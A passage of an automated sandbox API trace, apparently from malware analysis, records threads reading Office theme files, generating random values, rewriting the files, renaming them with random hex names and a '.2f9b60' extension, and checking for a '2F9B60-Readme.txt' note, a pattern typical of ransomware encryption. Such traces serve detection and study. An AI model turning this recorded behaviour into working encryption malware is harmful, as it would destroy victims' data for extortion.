lpOverlapped=0x0) returned 1 [0095.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0095.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866440 [0095.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced78f0 [0095.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced78f0) returned 1 [0095.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1ced78f0 [0095.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7950 [0095.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ef0 [0095.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7ef0) returned 1 [0095.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0095.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0095.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f0f0 [0095.999] sprintf (in: _Dest=0x1cd9f0f0, _Format="%c%c" | out: _Dest="e0") returned 2 [0096.000] sprintf (in: _Dest=0x1cd9f0f2, _Format="%c%c" | out: _Dest="02") returned 2 [0096.000] sprintf (in: _Dest=0x1cd9f0f4, _Format="%c%c" | out: _Dest="6f") returned 2 [0096.000] sprintf (in: _Dest=0x1cd9f0f6, _Format="%c%c" | out: _Dest="e4") returned 2 [0096.000] sprintf (in: _Dest=0x1cd9f0f8, _Format="%c%c" | out: _Dest="d5") returned 2 [0096.000] sprintf (in: _Dest=0x1cd9f0fa, _Format="%c%c" | out: _Dest="8d") returned 2 [0096.000] sprintf (in: _Dest=0x1cd9f0fc, _Format="%c%c" | out: _Dest="70") returned 2 [0096.000] sprintf (in: _Dest=0x1cd9f0fe, _Format="%c%c" | out: _Dest="19") returned 2 [0096.000] sprintf (in: _Dest=0x1cd9f100, _Format="%c%c" | out: _Dest="d3") returned 2 [0096.000] sprintf (in: _Dest=0x1cd9f102, _Format="%c%c" | out: _Dest="0a") returned 2 [0096.000] sprintf (in: _Dest=0x1cd9f104, _Format="%c%c" | out: _Dest="77") returned 2 [0096.000] sprintf (in: _Dest=0x1cd9f106, _Format="%c%c" | out: _Dest="05") returned 2 [0096.000] sprintf (in: _Dest=0x1cd9f108, _Format="%c%c" | out: _Dest="ec") returned 2 [0096.000] sprintf (in: _Dest=0x1cd9f10a, _Format="%c%c" | out: _Dest="83") returned 2 [0096.000] sprintf (in: _Dest=0x1cd9f10c, _Format="%c%c" | out: _Dest="de") returned 2 [0096.000] sprintf (in: _Dest=0x1cd9f10e, _Format="%c%c" | out: _Dest="29") returned 2 [0096.000] sprintf (in: _Dest=0x1cd9f110, _Format="%c%c" | out: _Dest="17") returned 2 [0096.000] sprintf (in: _Dest=0x1cd9f112, _Format="%c%c" | out: _Dest="1b") returned 2 [0096.000] sprintf (in: _Dest=0x1cd9f114, _Format="%c%c" | out: _Dest="04") returned 2 [0096.000] sprintf (in: _Dest=0x1cd9f116, _Format="%c%c" | out: _Dest="4c") returned 2 [0096.000] sprintf (in: _Dest=0x1cd9f118, _Format="%c%c" | out: _Dest="df") returned 2 [0096.000] sprintf (in: _Dest=0x1cd9f11a, _Format="%c%c" | out: _Dest="82") returned 2 [0096.000] sprintf (in: _Dest=0x1cd9f11c, _Format="%c%c" | out: _Dest="0f") returned 2 [0096.001] sprintf (in: _Dest=0x1cd9f11e, _Format="%c%c" | out: _Dest="3c") returned 2 [0096.001] sprintf (in: _Dest=0x1cd9f120, _Format="%c%c" | out: _Dest="57") returned 2 [0096.001] sprintf (in: _Dest=0x1cd9f122, _Format="%c%c" | out: _Dest="59") returned 2 [0096.001] RtlInitAnsiString (in: DestinationString=0x2504fac8, SourceString="e0026fe4d58d7019d30a7705ec83de29171b044cdf820f3c5759" | out: DestinationString="e0026fe4d58d7019d30a7705ec83de29171b044cdf820f3c5759") [0096.001] RtlAnsiStringToUnicodeString (in: DestinationString=0x2504fa98, SourceString="e0026fe4d58d7019d30a7705ec83de29171b044cdf820f3c5759", AllocateDestinationString=1 | out: DestinationString="e0026fe4d58d7019d30a7705ec83de29171b044cdf820f3c5759") returned 0x0 [0096.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b866fc0 [0096.001] wcscat (in: _Dest=0x107f00, _Source="e0026fe4d58d7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\e0026fe4d58d7") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\e0026fe4d58d7" [0096.001] wcscat (in: _Dest=0x107f00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\e0026fe4d58d7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\e0026fe4d58d7.2f9b60" [0096.001] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\e0026fe4d58d7.2f9b60", NtPathName=0x2504fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\e0026fe4d58d7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0096.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776a10 [0104.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776a10) returned 1 [0104.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202670d0) returned 1 [0104.727] NtQueryInformationFile (in: FileHandle=0xe58, IoStatusBlock=0x2504fad8, FileInformation=0x2504fae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2504fad8, FileInformation=0x2504fae8) returned 0x0 [0104.727] NtSetInformationFile (FileHandle=0xe58, IoStatusBlock=0x2504fad8, FileInformation=0x2504fae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107f00) returned 1 [0104.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866fc0) returned 1 [0104.735] FlushFileBuffers (hFile=0xe58) returned 1 [0104.744] CloseHandle (hObject=0xe58) returned 1 [0104.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107f00 [0104.745] wcscpy (in: _Dest=0x107f00, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0104.745] wcscat (in: _Dest=0x107f00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0104.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0104.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107f00) returned 1 [0104.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5390) returned 1 Thread: id = 598 os_tid = 0x103c [0094.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml")) returned 0x20 [0095.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml", dwFileAttributes=0x20) returned 1 [0095.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe24 [0095.064] GetFileSizeEx (in: hFile=0xe24, lpFileSize=0x286ff780 | out: lpFileSize=0x286ff780*=926) returned 1 [0095.064] SetFilePointerEx (in: hFile=0xe24, liDistanceToMove=0x39a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.064] ReadFile (in: hFile=0xe24, lpBuffer=0x286ff700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x286ff748, lpOverlapped=0x0 | out: lpBuffer=0x286ff700*, lpNumberOfBytesRead=0x286ff748*=0x4, lpOverlapped=0x0) returned 1 [0095.102] SetFilePointerEx (in: hFile=0xe24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0095.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0095.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f940 [0095.102] NtQuerySystemTime (in: CurrentTime=0x286ff640 | out: CurrentTime=0x286ff640*=132462177009394000) returned 0x0 [0095.102] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x44f02eec [0095.102] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x183c119b [0095.102] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x50534b0f [0095.102] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x553bc65 [0095.102] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x6efde4b5 [0095.102] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x5b97b467 [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x2c863689 [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x3b9ab498 [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x68b53258 [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x6594042f [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x5b6c1198 [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x663572dd [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0xe602a5c [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x50c1ffbb [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x482ed392 [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x393cc05 [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x52bb67 [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x7728e5dc [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x438ff2c8 [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x62100874 [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x7a62afb8 [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x2bd6cefd [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x10004102 [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0xa18e329 [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x201cc0a9 [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x306e70c9 [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x1f1fd63b [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x2df8df7c [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x10cf0023 [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x3f9ba769 [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x43de7b42 [0095.103] RtlRandomEx (in: Seed=0x286ff630 | out: Seed=0x286ff630) returned 0x2d4a8e39 [0095.114] ReadFile (in: hFile=0xe24, lpBuffer=0x201bd170, nNumberOfBytesToRead=0x39e, lpNumberOfBytesRead=0x286ff630, lpOverlapped=0x0 | out: lpBuffer=0x201bd170*, lpNumberOfBytesRead=0x286ff630*=0x39e, lpOverlapped=0x0) returned 1 [0095.114] SetFilePointerEx (in: hFile=0xe24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.114] WriteFile (in: hFile=0xe24, lpBuffer=0x201a2d00*, nNumberOfBytesToWrite=0x39e, lpNumberOfBytesWritten=0x286ff634, lpOverlapped=0x0 | out: lpBuffer=0x201a2d00*, lpNumberOfBytesWritten=0x286ff634*=0x39e, lpOverlapped=0x0) returned 1 [0095.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7800 [0095.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0095.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7380) returned 1 [0095.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201a2d00) returned 1 [0095.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201bd170) returned 1 [0095.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0095.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973f0) returned 1 [0095.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ced7380 [0095.340] SetFilePointerEx (in: hFile=0xe24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.340] WriteFile (in: hFile=0xe24, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x286ff750, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x286ff750*=0x108, lpOverlapped=0x0) returned 1 [0095.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0095.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8671c0 [0095.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0095.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbe0) returned 1 [0095.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0095.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0095.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0095.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb80) returned 1 [0095.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8671c0) returned 1 [0095.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0095.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f0f0 [0095.615] sprintf (in: _Dest=0x1cd9f0f0, _Format="%c%c" | out: _Dest="35") returned 2 [0095.615] sprintf (in: _Dest=0x1cd9f0f2, _Format="%c%c" | out: _Dest="4f") returned 2 [0095.615] sprintf (in: _Dest=0x1cd9f0f4, _Format="%c%c" | out: _Dest="da") returned 2 [0095.615] sprintf (in: _Dest=0x1cd9f0f6, _Format="%c%c" | out: _Dest="22") returned 2 [0095.615] sprintf (in: _Dest=0x1cd9f0f8, _Format="%c%c" | out: _Dest="1d") returned 2 [0095.615] sprintf (in: _Dest=0x1cd9f0fa, _Format="%c%c" | out: _Dest="92") returned 2 [0095.615] sprintf (in: _Dest=0x1cd9f0fc, _Format="%c%c" | out: _Dest="50") returned 2 [0095.615] sprintf (in: _Dest=0x1cd9f0fe, _Format="%c%c" | out: _Dest="a2") returned 2 [0095.616] sprintf (in: _Dest=0x1cd9f100, _Format="%c%c" | out: _Dest="db") returned 2 [0095.616] sprintf (in: _Dest=0x1cd9f102, _Format="%c%c" | out: _Dest="8d") returned 2 [0095.616] sprintf (in: _Dest=0x1cd9f104, _Format="%c%c" | out: _Dest="df") returned 2 [0095.616] sprintf (in: _Dest=0x1cd9f106, _Format="%c%c" | out: _Dest="03") returned 2 [0095.616] sprintf (in: _Dest=0x1cd9f108, _Format="%c%c" | out: _Dest="e4") returned 2 [0095.616] sprintf (in: _Dest=0x1cd9f10a, _Format="%c%c" | out: _Dest="56") returned 2 [0095.616] sprintf (in: _Dest=0x1cd9f10c, _Format="%c%c" | out: _Dest="79") returned 2 [0095.616] sprintf (in: _Dest=0x1cd9f10e, _Format="%c%c" | out: _Dest="cc") returned 2 [0095.616] sprintf (in: _Dest=0x1cd9f110, _Format="%c%c" | out: _Dest="e3") returned 2 [0095.616] sprintf (in: _Dest=0x1cd9f112, _Format="%c%c" | out: _Dest="02") returned 2 [0095.616] sprintf (in: _Dest=0x1cd9f114, _Format="%c%c" | out: _Dest="d6") returned 2 [0095.616] sprintf (in: _Dest=0x1cd9f116, _Format="%c%c" | out: _Dest="e8") returned 2 [0095.616] sprintf (in: _Dest=0x1cd9f118, _Format="%c%c" | out: _Dest="e1") returned 2 [0095.616] sprintf (in: _Dest=0x1cd9f11a, _Format="%c%c" | out: _Dest="bb") returned 2 [0095.616] RtlInitAnsiString (in: DestinationString=0x286ff7c8, SourceString="354fda221d9250a2db8ddf03e45679cce302d6e8e1bb" | out: DestinationString="354fda221d9250a2db8ddf03e45679cce302d6e8e1bb") [0095.616] RtlAnsiStringToUnicodeString (in: DestinationString=0x286ff798, SourceString="354fda221d9250a2db8ddf03e45679cce302d6e8e1bb", AllocateDestinationString=1 | out: DestinationString="354fda221d9250a2db8ddf03e45679cce302d6e8e1bb") returned 0x0 [0095.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86ee90 [0095.616] wcscat (in: _Dest=0x107c00, _Source="354fda221d9" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\354fda221d9") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\354fda221d9" [0095.616] wcscat (in: _Dest=0x107c00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\354fda221d9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\354fda221d9.2f9b60" [0095.617] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\354fda221d9.2f9b60", NtPathName=0x286ff770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\354fda221d9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0095.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x1183a0 [0107.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1183a0) returned 1 [0107.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf479b0) returned 1 [0107.613] NtQueryInformationFile (in: FileHandle=0xe24, IoStatusBlock=0x286ff7d8, FileInformation=0x286ff7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x286ff7d8, FileInformation=0x286ff7e8) returned 0x0 [0107.613] NtSetInformationFile (FileHandle=0xe24, IoStatusBlock=0x286ff7d8, FileInformation=0x286ff7e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107c00) returned 1 [0107.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ee90) returned 1 [0107.653] FlushFileBuffers (hFile=0xe24) returned 1 [0107.660] CloseHandle (hObject=0xe24) returned 1 [0107.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x108080 [0107.680] wcscpy (in: _Dest=0x108080, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0107.680] wcscat (in: _Dest=0x108080, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0107.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0107.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x108080) returned 1 [0107.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5e90) returned 1 Thread: id = 599 os_tid = 0x1040 [0094.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml")) returned 0x20 [0095.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml", dwFileAttributes=0x20) returned 1 [0095.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe5c [0095.169] GetFileSizeEx (in: hFile=0xe5c, lpFileSize=0x2879f980 | out: lpFileSize=0x2879f980*=961) returned 1 [0095.169] SetFilePointerEx (in: hFile=0xe5c, liDistanceToMove=0x3bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.169] ReadFile (in: hFile=0xe5c, lpBuffer=0x2879f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2879f948, lpOverlapped=0x0 | out: lpBuffer=0x2879f900*, lpNumberOfBytesRead=0x2879f948*=0x4, lpOverlapped=0x0) returned 1 [0095.464] SetFilePointerEx (in: hFile=0xe5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0095.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fe0 [0095.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8070 [0095.465] NtQuerySystemTime (in: CurrentTime=0x2879f840 | out: CurrentTime=0x2879f840*=132462177012982000) returned 0x0 [0095.465] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x19d5665b [0095.465] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x3de434c0 [0095.465] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0xe2132c3 [0095.465] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x4e3c518d [0095.465] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x609355a3 [0095.465] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x74372edf [0095.465] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x1b712751 [0095.465] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x16322bfd [0095.465] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x2af19d86 [0095.465] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0xeeb2d02 [0095.465] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x321011c2 [0095.465] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x7a4d4c33 [0095.465] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x177fb068 [0095.465] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x6fe1d801 [0095.465] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x61b77783 [0095.465] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x51edabfe [0095.466] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x15cf0ba3 [0095.466] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x31e53902 [0095.466] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x7d6482ab [0095.466] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x2b3e9ad2 [0095.466] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x700f95e5 [0095.466] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x6651fb74 [0095.466] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x1672792f [0095.466] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x7a7bea5a [0095.466] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x32909c02 [0095.466] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0xe7ff71b [0095.466] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x745a9a28 [0095.466] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x56334d48 [0095.466] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x7f057703 [0095.466] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x775d44e9 [0095.466] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0x7e66f45e [0095.466] RtlRandomEx (in: Seed=0x2879f830 | out: Seed=0x2879f830) returned 0xfdc00f6 [0095.477] ReadFile (in: hFile=0xe5c, lpBuffer=0x2018c1b0, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x2879f830, lpOverlapped=0x0 | out: lpBuffer=0x2018c1b0*, lpNumberOfBytesRead=0x2879f830*=0x3c1, lpOverlapped=0x0) returned 1 [0095.478] SetFilePointerEx (in: hFile=0xe5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.478] WriteFile (in: hFile=0xe5c, lpBuffer=0x201578d0*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x2879f834, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesWritten=0x2879f834*=0x3c1, lpOverlapped=0x0) returned 1 [0095.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd00 [0095.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fcd0 [0095.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fcd0) returned 1 [0095.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0095.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2018c1b0) returned 1 [0095.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8667c0) returned 1 [0095.739] RtlFreeHeap 